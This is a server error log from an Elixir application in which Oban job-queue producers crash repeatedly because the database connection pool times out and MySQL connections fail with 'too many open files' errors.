    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:49:50.238909Z], limit: 10, uuid: "62ea7030-61eb-477b-8b81-5fec8d021d51", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:49:50.238919Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.245918>, refresh_timer: #Reference<0.2525715032.1077411843.220018>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:50:02.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 880ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:49:50.240128Z], limit: 3, uuid: "cb8ab2c8-ff08-4547-a414-e7bf11111476", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:49:50.240133Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.245920>, refresh_timer: #Reference<0.2525715032.1121189889.96011>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:50:02.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 836ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:49:50.239358Z], limit: 20, uuid: "f579c1c7-9f2e-41d0-a1f5-89f7ec1be70f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:49:50.239363Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.245917>, refresh_timer: #Reference<0.2525715032.1077411843.220027>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:50:03.050000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:50:03.530000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:50:04.683000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:50:05.032000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:50:06.469000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:50:11.616000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:50:14.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 841ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:50:02.244856Z], limit: 10, uuid: "a104c638-4fe0-450b-a5a0-97f804e33de2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:50:02.244863Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.96134>, refresh_timer: #Reference<0.2525715032.1121189889.96121>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:50:14.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1097ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:50:02.245147Z], limit: 3, uuid: "29a82899-0831-4543-8584-2b863a31e5c7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:50:02.245151Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.96136>, refresh_timer: #Reference<0.2525715032.1121189889.96133>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:50:14.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1015ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:50:02.242926Z], limit: 5, uuid: "7fd2469a-1eda-4d6e-9eba-4a1354908f73", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:50:02.242932Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.220416>, refresh_timer: #Reference<0.2525715032.1068236804.237429>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:50:14.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 817ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:50:02.247950Z], limit: 20, uuid: "16e167c1-d25a-463b-a8e7-78eef4c73aea", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:50:02.247956Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.220415>, refresh_timer: #Reference<0.2525715032.1077411843.220402>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:50:14.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 899ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:50:02.245018Z], limit: 5, uuid: "42f3fe60-fb54-411a-847c-0940fa6fa683", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:50:02.245023Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.96135>, refresh_timer: #Reference<0.2525715032.1121189889.96127>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:50:14.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 856ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:50:02.244605Z], limit: 50, uuid: "e638d66d-b178-4c35-85c2-858aa0317a4f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:50:02.244611Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.220417>, refresh_timer: #Reference<0.2525715032.1121189889.96117>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:50:14.994000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:50:16.647000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
